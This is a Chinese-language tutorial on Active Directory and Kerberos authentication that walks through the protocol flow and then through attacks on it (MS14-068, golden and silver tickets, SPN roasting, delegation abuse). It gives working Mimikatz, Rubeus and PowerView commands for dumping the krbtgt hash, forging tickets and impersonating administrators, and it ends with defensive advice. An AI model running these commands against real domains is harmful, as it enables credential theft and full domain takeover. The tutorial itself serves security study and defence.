Kerberos Security
字数 1792 2025-08-06 08:35:19
Kerberos安全协议深入解析
1. Active Directory基础
Active Directory (AD) 是微软Windows Server中负责大型网络环境集中式目录管理的服务,主要特点包括:
- 一切皆对象:计算机、用户、用户组、策略等
- 依赖多种协议:DNS、LDAP、Kerberos、NetBIOS、MS-RPC、NTLM等
- 提供各种目录服务
2. AD核心协议
2.1 DNS
AD极度依赖DNS服务,通过SRV记录识别服务:
_gc._tcp- 全局目录_ldap._tcp- LDAP服务器_kerberos._tcp- KDC_kpasswd._tcp- Kerberos密码变更服务
定位域控方法:
nmap -Pn --script dns-srv-enum --script-args "dns-srv-enum.domain='pentestlab.com'"
net time /domain
nslookup
nltest /dclist:domainname
2.2 LDAP
轻量级目录访问协议,开放标准:
- 端口:389(LDAP)、636(LDAPS)
- 数据组织方式:CN(Common name)、DC(域的组成)、OU(组织单元)
常用查询命令:
ldapsearch -LLL -x -H ldap://pentestlab.com -D "wing@pentestlab.com" -w "密码" -b dc=pentestlab,dc=com "(objectClass=user)" sAMAccountName
2.3 Kerberos
网络认证协议,特点:
- 基于对称密码学
- 需要可信第三方(KDC)
- 可扩展支持公钥密码学
3. Kerberos认证详解
3.1 核心组件
- AS(Authentication Server): 认证服务器
- KDC(Key Distribution Center): 密钥分发中心
- TGT(Ticket Granting Ticket): 票据授权票据
- TGS(Ticket Granting Server): 票据授权服务器
- SS(Service Server): 特定服务提供端
3.2 认证流程
-
AS-REQ: 客户端请求TGT
- 客户端发送用密码加密的时间戳(Authenticator)
- AS验证用户存在性
-
AS-REP: AS返回响应
- 包含Session Key和TGT(用KDC密钥加密)
-
TGS-REQ: 客户端请求服务票据
- 包含TGT和用Session Key加密的Authenticator
-
TGS-REP: TGS返回服务票据
- 包含服务Session Key和服务票据
-
AP-REQ: 客户端访问服务
- 使用服务Session Key和服务票据
3.3 PAC机制
特权属性证书(Privilege Attribute Certificate):
- 确定域内用户权限
- 基于用户SID和组SID
- 通过KRB_AS_REP传递
4. Kerberos安全攻击手法
4.1 MS14-068漏洞
原理:
- AS-REQ请求未对签名做要求
- 客户端可伪造PAC
- KDC允许伪造PAC并使用指定算法解密
复现步骤:
- 生成伪造票据
- 导入内存
- 获取域控权限
4.2 黄金票据(Golden Ticket)
伪造TGT的条件:
- Domain SID
- Domain name
- krbtgt用户hash
- 任意用户名
生成方法(Mimikatz):
lsadump::dcsync /user:krbtgt
kerberos::golden /user:Administrator /domain:pentestlab.com /sid:S-1-5-21-xxx /krbtgt:hash /ptt
特点:
- 可持久化(默认10小时有效期)
- 管理员无法注销,只能等待过期
4.3 白银票据(Silver Ticket)
伪造服务票据:
- 不需要krbtgt密码
- 需要目标服务账户hash
- 只能访问指定服务
生成方法:
kerberos::golden /domain:pentestlab.com /sid:xx-xxx-xxx-xx /target:servername /service:Service类型 /rc4:hash /user:wing /ptt
4.4 SPN扫描与破解
SPN(ServicePrincipal Names)使服务与服务账号关联。
扫描方法:
# 使用GetUserSPNs.ps1脚本
Import-Module .\GetUserSPNs.ps1
破解TGS票据:
- 请求TGT
- 导出hash
- 使用tgsrepcrack或hashcat破解
4.5 委派攻击
非约束委派(Unconstrained delegation)
- 服务可代表用户访问任何其他服务
- 查找方法:
Get-NetComputer -Unconstrained Get-NetUser -Unconstrained
约束委派(Constrained delegation)
- 限制服务代表用户访问特定服务
- 使用S4U2Self和S4U2Proxy扩展
- 查找方法:
Get-DomainUser -TrustedToAuth
攻击方法(Rubeus):
Rubeus.exe s4u /user:wing /rc4:hash /impersonateuser:administrator /msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt
5. 防御建议
- 定期轮换krbtgt账户密码
- 监控异常Kerberos活动
- 限制委派权限
- 启用高级审计策略
- 实施最小权限原则
- 监控SPN变更
- 使用受保护用户组
6. 参考工具
- Impacket工具包
- Mimikatz
- Rubeus
- PowerView
- ldapsearch
- Wireshark(用于流量分析)
通过深入理解Kerberos协议及其安全机制,安全人员可以更好地防御域环境中的各种攻击,同时也能从攻击者角度发现潜在的安全隐患。